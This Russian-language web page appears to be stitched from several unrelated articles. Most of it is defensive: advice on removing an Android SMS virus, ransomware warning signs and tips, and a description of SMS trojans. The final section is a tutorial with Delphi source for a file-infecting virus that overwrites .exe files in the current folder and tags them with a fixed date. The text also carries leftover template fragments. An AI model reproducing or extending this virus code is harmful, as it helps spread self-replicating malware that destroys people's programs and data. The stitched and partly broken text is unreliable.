Вирус с отправкой данных
(Просто перенёс в блог…)
В свете последней эпидемии мобильных вирусов, атакующих смартфоны на Android…
И так, внимайте те, кто безалаберно отнёсся к безопасности и получив сообщение (пусть даже и от знакомого номера — а именно ТАК! действует вирус, рассылает сообщения по всей контактной книжке) и таки ткнул! в ссылку.
И не важно, что там в тексте — "посмотри как мы классно выглядим", "штраф! оплатите своевременно!", "судебное решение", "вы продаёте?", "получи скидку!" и т.д.
Всё это — социальная инженерия! Попытка заинтересовать, отвлечь, запудрить мозги и добиться ОДНОГО — ЗАСТАВИТЬ НАЖАТЬ НА ССЫЛКУ! Это ПЕРВЫЙ рубеж.
Но ткнуть в ссылку МАЛО! Нужен подключенный интернет — мобильный или wifi, не важно. Скачивается файл.
И тут у вас есть шанс! Файл, хоть и называется что-то типа photo_3802, но имеет расширение APK! а совсем не JPG! Это ВТОРОЙ рубеж.
Т.е. это не картинка, а ПРИЛОЖЕНИЕ! Программа, если так понятней. И она попросится УСТАНОВИТЬСЯ!
Это ТРЕТИЙ рубеж! Потому что в политике безопасности по умолчанию стоит запрет на установку приложений из неизвестных источников. И при попытке установки приложения слитого не через Play Market система ругнётся и скажет, что это запрещено! Ноооо. если хооочешь… ;) то можно разрешить! Это ЧЕТВЁРТЫЙ рубеж.
Ведь у некоторых "галочка" уже стоит — ставили репаки программ или игрушки сломанные и забыли отключить.
А антивирус — не установлен. ИИИИИИИ! БАХ! Вирус уже в системе!
Всё это предистория… я объяснил КАК ПОПАДАЕТ вирус. Теперь попробуем его прибить
Что же получится, если вирус запустится?
Неееее! Не САМ! Это ВЫ! его САМОСТОЯТЕЛЬНО ЗАПУСТИЛИ! Да-да-да! Винить, кроме собственной глупости некого.
Перестают открываться настройки, выпрыгивает какое-нибудь сообщение, мешающее нажимать иконки на экране… к счёту вдруг оказываются приписаны платные услуги и деньги стремительно улетают в неизвестном направлении! под раздачу могут попасть и банковские карты! Вообщем всё зависит от версии вируса. Последний, который попался — работал даже в "безопасном режиме"!
Ну а теперь будет ЛЕЧИТЬ! Если есть wi-fi — симку лучше вынуть.
У Samsung-ов, например, что бы запустить смартфон в безопасном режиме нужно при загрузке удерживать кнопку "Vol-" (громкость минус) — на экране должна появиться надпись "безопасный режим". Это практически как в Windows — загрузка системы с использованием минимума драйверов и отключением программ из автозагрузки.
Для других моделей смартфонов ищем информацию в интернете. Иногда этого бывает достаточно, что бы зайти в настройки/диспетчер приложений и удалить "незванного гостя". Назывался он что-то типа "ММС сообщение", "ММС послание"… но могут быть и другие названия. Вся прелесть задумки автора вируса в том, что он не лезет глубоко в систему, не получает root-доступ, а ставится на уровне приложений пользователя! Поэтому работает без проблем на версиях Android от 5 до 8. (из тех, что попадались МНЕ)
Но этот момент нам и поможет! Пытаемся загрузиться в безопасном режиме — быстро лезем в настройки, приложения и ищем упомянутое название среди приложений пользователя. Тыкаем в него в списке, УДАЛИТЬ, ОК!
Как ни странно — чем тормознее смартфон, тем больше шансов успеть!
Антивирусы "газись" скачивать даёт, но запуск глушит. Особо не дёргаемся по этому поводу.
Новый вирь кусается! Да-да! гадёныш… Он умудряется грузиться даже в безопасном режиме!
И при попытке удалить приложение вылетает сообщение, которое перекрывает нужные кнопки. Пытаемся его согнать, вызывая список запущенных приложений и прибивая приложение с сообщением.
Конечная цель — удалить приложение, которое мешается! Получилось? Отлично!
Что? Не получилось? Окошко опять появляется быстрее, чем вы успеваете нажать кнопку "удалить"?
Рррррр! Переходим к новой фазе! В настройки попасть не получается
Вирусу, что бы жить и пакостить нужОн интернет. Поэтому он мобильный интернет и через wifi НЕ ОТРУБАЕТ.
Видел версию, которая мешала вводить пароль к wifI, но даже там удалось его набрать, чуть помаявшить.
Т.е. у смартфона есть интернет! Заходим в Play Market и ищем приложение по строчке "systemapp remover"
Самое первое в выдаче наверняка будет "менеджер приложений (ROOT)" от Jumobile. Его и ставим.
По умолчанию оно открывает именно список системных приложений. В левом верхнем углу жмём стрелку "назад", выбирает "приложения пользователя" и ищем "газись". Есть возможность отсортировать по дате установки приложения. Тоже будет подспорьем в поиске "новоприбывшего".
Ставим галочку справа от названия и жмём кнопку "удалить" слева внизу. И тут начинается игра "чьё кунг-фу быстрее". Не шучу! Вирус продолжает противодействовать и пытается быстро закрыть сообщение о подтверждении удаления!
Напоминаю, конечная задача — прибить "незванного гостя"!
"Ловкость рук и никакого мошенства!" (с) Акопян
Финальная фаза: вирус удалён из приложений (иногда их может быть НЕСКОЛЬКО), смарт перезагружен и перестал рассылать "газись" по абонентам и жрать деньги со счёта.
Устанавливаем антивирус. Из моего личного опыта хорошо справляется с ЛЕЧЕНИЕМ и установкой новых вирусов бесплатный "Drweb Lite".
Проводим полное сканирование и прибиваем найденные apk-шки с вирусом, если сохранились. Отключаем в настройках безопасности "устанавливать неподписанные приложения". Выдыхаем.
Если вирь успел подключить платные подписки — звоним и ругаемся с операторами техподдержки мобильного провайдера или лезем проверять в личный кабинет через интернет.
Отмечу особо: антивирь — это НЕ ПА-НА-ЦЕ-Я! ЛЮБОЙ! Хоть платный, хоть бесплатный! Касается любых систем и любых антивирусов.
Автору вируса — спасибо за пополнение бюджета и наработку опыта. Доработка вируса в плане блокировки сторонних диспетчеров приложений ничего не даст — их можно наклепать без счёта. или убить приложение через терминал ADB.
Поймавшим вирус — включайте голову или пользуйте Nokia 3310! Да, я про тот старый "кирпич", а не про новую цветную "погремушку"
С уточняющими вопросами — в комментарии. :) Чем смогу… Коррекция по тексту — принимается.
Время офигительных историй: как мы вычислили вирус-шифровальщик
Вызывайте экзорциста админа, ребята! Главбух поймала мощный вирус, всё пропало! Частая, частая ситуация, основанная на человеческом факторе, свежих вирусных тенденциях и целеустремлённости хакеров. И правда, зачем самим копаться в чужом ПО, если можно положиться в этом на работников компании.
Да, продукты крупных государственных и частных контор постоянно взламываются, хотя над их созданием и поддержкой работают сотни опытных людей.
Последние вирусные тенденции
Прошерстив VK, Twitter, FB и Instagram своей цели, вы можете получить точную анкету человека с его номером телефона, почтой, именами родителей, друзей и прочими подробностями. И это всё бесплатно и добровольно – на, пользуйся, дорогой!
Хакеры планируют атаки на тех, кто работает с ценной информацией – секретарей, менеджеров, бухгалтеров, HRов.
Вирус шифровальщик распространяется через электронную почту под видом серьёзных документов: судебной повестки, счетов, запросов из налоговой. И чтобы не установить его себе, нужно смотреть в оба. Наши технические специалисты специально проанализировали один такой вирус, чтобы мы смогли показать, на что нужно обращать внимание:
Следим за руками этих фокусников:
Внимание! Если компьютер был заражен шифровальщиком, то с вероятностью 95% информация будет утеряна безвозвратно. После скачивания и запуска вредоносного файла происходит обращение к удаленному серверу, с которого скачивается вирусный код. Все данные на компьютере шифруются случайной последовательностью символов.
Обращайте внимание на вышеописанные особенности, и вы сможете предупредить опасные случаи блокировки компьютеров и удаления важной информации. В любом случае, устранение последствий критических уязвимостей выйдет намного дороже, чем соблюдение предосторожностей.
Поэтому вот ещё 6 советов для обнаружения вирусов и предупреждения заражения:
1. Регулярно обновляйте операционную систему и программы. Важные обновления, которые по умолчанию устанавливаются автоматически, можно отключить. Но не стоит, так новые версии часто закрывают обнаруженные дыры в безопасности ПО.
2. Установите антивирус и регулярно обновляйте базу вирусов. Каждый день появляется 100 тысяч новых вирусов!
4. Выполняйте резервное копирование важных файлов – рабочих документов и фотографий. Периодичность резервного копирования нужно выбирать в зависимости от периодичности изменения файлов. Для резервного хранения можно использовать облачный сервис, если он позволяет вернуться к старым версиям файлов и настроить ручную синхронизацию. Тогда, в случае заражения компьютера, вирус не попадёт в облако. Мы также рекомендуем хранить копию важных данных в архиве. Большинство вирусов не может проникнуть в архив, и вся архивированная информация восстанавливается после лечения компьютера.
5. Повышайте профессиональную грамотность своих специалистов! Как мы уже говорили, хакеры затачивают свои атаки под нашу психологию, и постоянно совершенствуют свои методики. Не думайте, что кликнет/загрузит/введёт свои данные кто угодно, кроме вашей компании и команды. Попасться может любой, задача состоит только в подборе нужного крючка к человеку. Поэтому обучайте своих сотрудников, хоть в индивидуальном, хоть в командном порядке, хоть в игровой форме, хоть как-нибудь!
6. Внимательно следите за письмами на почте, сообщениями в корпоративных мессенджерах и любой другой входящей информацией. Проверяйте почтовые адреса отправителей, вложенные файлы и содержание писем. Большинство вирусов нужно запустить вручную, чтобы они могли причинить вред компьютеру.
Мы очень надеемся, что вы читаете эту статью для предварительного ознакомления, а не потому что уже всё плохо. Мы желаем вам никогда не встретиться с тотальным неконтролируемым спамом, исчезнувшей документацией за полгода и прочими приятными последствиями пойманных вирусов. Следуйте вышеописанным шести шагам, смотрите в оба и да останется ваша информация конфиденциальной!
Как понять, что в телефоне вирус
Да, вредоносные программы опасны не только для компьютера, но и для смартфона. Тем более сейчас, с развитием технологий, злоумышленники просто мечтают подкрасться поближе к устройству, на котором есть все ваши личные и платежные данные. Итак, что должно насторожить вас и заставить подумать, как удалить вирус с телефона:
-
В телефоне стало слишком много рекламы. Баннеры вылетают отовсюду, появляются на рабочем столе, уведомления всплывают даже тогда, когда вы не используете телефон.
Телефон стал быстро разряжаться, сильно нагревается, даже тогда, когда вы им не пользуетесь. Возможно, как раз в это время он участвует в DDOS атаке или майнит для кого-то биткойны.
- После установки нового приложения, пусть даже скачанного из официального магазина, стали появляться ошибки, телефон стал глючить, выключаться, греться.
На карте или в памяти телефона появились поврежденные файлы, не открываются фотографии, аудио-файлы. В телефоне появляются странные папки, которые непонятно к чему относятся.
Смартфон стал слишком самостоятельным и теперь сам устанавливает то, что хочет без вашего участия.
Есть три наиболее распространенных группы "плохих программ".
-
Первое это всплывающие баннеры, которые никак нельзя отключить. Они сильно затрудняют работу пользователя и избавиться от них сложно, чаще всего приходится возвращаться к заводским настройкам и удалять все содержимое телефона.
Второе - шпионские программы, которые записывают все, что делает пользователь телефона и отправляет злоумышленникам. Выследить такую активность легко по увеличившемуся объему передаваемого трафика. Такие вирусы могут своровать данные вашей карточки, важные пароли - и в итоге вы лишитесь денег.
Вирус на телефон Андроид попадает вместе с программами, которые вы спокойно качаете из официальных магазинов. Это могут быть полезные календари и планировщики, игры и программы, считающие, например, ваш рацион и калории. Они могут содержать вредоносный код или же быть полностью написаны для воровства данных с вашего телефона.
Вирус также можно подцепить, открывая письма от незнакомых номеров, переходя по ссылкам из них, скачивая файлы, присланные таким образом или же "левыми" пользователями соцсетей. Даже если затем удалить загрузку, программа может успеть запуститься на вашем телефоне. Также зараженной может оказаться флешка, которую вы присоединяли к компьютеру или получили от кого-то из знакомых.
Пошаговая инструкция по удалению вирусов
Если вы столкнулись с описанными выше проблемами, будьте готовы спасать свой телефон. Мы расскажем, как удалить вирус с телефона различными способами.
1. Начнем с самого простого. Если вы не сделали это раньше, поставьте на свое устройство одну из антивирусных программ и запустите проверку. Есть бесплатные и платные антивирусы, воспользуйтесь продуктами известных производителей. Следуйте указаниям антивируса и удалите те файлы, которые он укажет, как подозрительные. Удалите скачанный антивирус, скачайте еще один и снова проведите проверку.
2. К сожалению, этот вариант помогает не всегда. Если вирусы уже в телефоне, они могут запрещать антивирусу работать правильно. Постарайтесь минимизировать вред, которые причиняет вирус вашему андроид устройству и вашему кошельку: включите режим "В самолете", чтобы программы не имели доступ к интернету. Затем проверьте список приложений. Если среди них есть те, что вам неизвестны, или недавно установлены - удалите их. Также можно посмотреть в "Диспетчере приложений" телефона, какие из них работают активнее других и расходуют максимум трафика. Удалить их можно прямо из корневой папки на главном диске - при подключении к компьютеру. Найдите файл с названием программы и расширением apk, удалите его.
3Удалить вирус с телефона на базе Андроид достаточно быстро можно, если найти вредную программу в списке "администраторов" и отобрать у нее права. Для этого зайдите в меню "Настройки", выберите вкладку "Безопасность" и найдите подпункт с правами приложений. Также это меню может находиться в папке "Приложения". Проверьте, какие права у установленных у вас приложений и при необходимости ограничьте их. В любом случае, нет необходимости доверять программам от сторонних разработчиков все свои секреты.
4. Если удалить программу, которая вам кажется подозрительной, не получается, перейдите в безопасный режим. Для этого нужно выключить телефон, а включая его, зажать кнопку уменьшения громкости. В этом режиме запускаются только системные программы и у вас будет возможность удалить сторонние приложения или отключить их права.
5. Можно удалить вирус через компьютер: если на вашем десктопе установлены антивирусные программы, то они чаще всего сильнее и более продвинуты, чем мобильные версии. Так что телефон можно проверить на вирусы через ПК. Для этого нужно подключить андроид устройство к компьютеру или ноутбуку в режиме "Отладка через USB". Для этого нужно зайти в меню "Настройки", найти там подпункт "Для разработчиков" и включить эту функцию. Затем именно это нужно выбрать в появившемся меню при подключении телефона кабелем. Смартфон откроется как дополнительный диск или флешка, просканируйте его антивирусом полностью. Удалите все найденные угрозы.
6. Самый безотказный способ - откат к заводским настройки. Для того, чтобы это прошло безболезненно, возьмите за правило делать резервную копию вашего смартфона раз в неделю - две недели.
Чтобы вернуться к заводским настройкам, зайдите в меню "Настройки" телефона, выберите там пункт "Система" и зайдите в пункт "Сброс". Там уже можно выбрать пункт "Восстановление до заводских настроек". Помните, что эта процедура сотрет всю информацию с вашего телефона, удалит все контакты, фотографии, приложения. Затем восстановить их можно будет из резервной копии.
7. Если на вашем телефоне обосновался вирус, который не дает зайти в меню, сбрасывайте телефон через компьютер. Только обязательно включите свежий антивирус, присоединяя устройство Андроид к ПК. После подключения USB-кабеля, включите телефон и выберите пункт: сбросить до заводских настроек. В этом случае баннер, закрывший экран, не помешает это сделать.
Пользователи не всегда могут распознать вирус в своем мобильнике и соответственно не получается стереть зловредную программу или предпринять какие-то действия раньше, чем вирус получит доступ к персональным данным.
p, blockquote 1,0,0,0,0 -->
На данный момент самыми уязвимыми считаются Android-смартфоны. Появился новый вирус через смс на Андроид.
p, blockquote 2,0,0,0,0 -->
p, blockquote 3,0,0,0,0 -->
В смартфонах с открытым кодом, каковой собственно и является операционная система Андроид, новые вирусы распространяются с невероятной быстротой.
p, blockquote 4,0,0,0,0 -->
p, blockquote 5,0,0,0,0 -->
Как действуют мошенники
Первый подобный вирус активизировался в начале лета 2017 г. Опасность в том, что троянец функционирует в Android-смартфоне удаленно.
p, blockquote 6,0,1,0,0 -->
Злоумышленники отправляют SMS на нужный номер, поэтому чтобы идентифицировать наличие этого вируса в своем мобильном гаджете владельцы смартфонов должны обратить внимание на рост количества SMS-сообщений ценой по 100 рублей. В результате с мобильного счета хозяина смартфона снимается сумма, кратная 100.
p, blockquote 7,0,0,0,0 -->
Чтобы существенно заработать, злоумышленник вынужден отправлять несколько SMS-троянцев с номера своей жертвы. Ведь в этой мошеннической цепочке работает не только он один.
p, blockquote 8,0,0,0,0 -->
p, blockquote 9,0,0,0,0 -->
Посредниками в данной схеме могут выступать оператор связи, провайдер и другие партнеры, которые могут и не знать о проделках мошенников. Чтобы покрыть все расходы и заработать, злоумышленнику необходимо снять с каждого номера не менее 1000 рублей.
p, blockquote 10,0,0,0,0 -->
При этом нельзя исключить возможность, что владельцы смартфонов могут пожаловаться своему оператору на кражу денег. И тогда сотовые операторы предпринимают ответные меры, мешающие совершать махинации. Например, они могут ввести обязательный ввод дополнительных подтверждений перед списанием денег и тому подобное. В такой ситуации злоумышленники вынуждены искать новые способы мошенничества.
p, blockquote 11,0,0,0,0 -->
Благодаря этим факторам появился еще один троянец. Этот представитель Trojan-SMS также выполняет поступающие с удаленного сервера команды.
p, blockquote 12,0,0,0,0 -->
Новый вирус является более гибким и отлично ориентируется в любых условиях уже с учетом барьеров сотового оператора, и даже состояния счета абонента и времени совершения операций.
p, blockquote 13,1,0,0,0 -->
Как функционирует вирус
p, blockquote 14,0,0,0,0 -->
Новый вирус является спящим – он не обладает самостоятельностью. Даже попав в смартфон, он не проявляется никак. Чтобы он заработал, требуется удаленная команда хозяина телефона.
p, blockquote 15,0,0,0,0 -->
Для этого используется так называемый POST запрос. Он предназначен для запроса, при котором веб-сервер принимает для хранения данные, заключённые в тело сообщения. Он часто используется, например, для загрузки файла.
p, blockquote 16,0,0,0,0 -->
Использование запроса POST позволяет установить связь с удаленным сервером и получить соответствующую команду, получив которую, троянец начинает отправлять с номеров своих жертв дорогостоящие SMS-сообщения на номер мошенников.
p, blockquote 17,0,0,0,0 -->
Отправляя смс-сообщение c короткого номера, мошенники таким образом могут проверить, есть ли на номере жертвы привязка к счету в банке и какое там состояние счета.
p, blockquote 19,0,0,1,0 -->
p, blockquote 20,0,0,0,0 -->
p, blockquote 21,0,0,0,0 -->
p, blockquote 22,0,0,0,0 -->
p, blockquote 23,0,0,0,0 -->
p, blockquote 24,0,0,0,0 -->
p, blockquote 25,0,0,0,0 --> p, blockquote 26,0,0,0,1 -->
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также: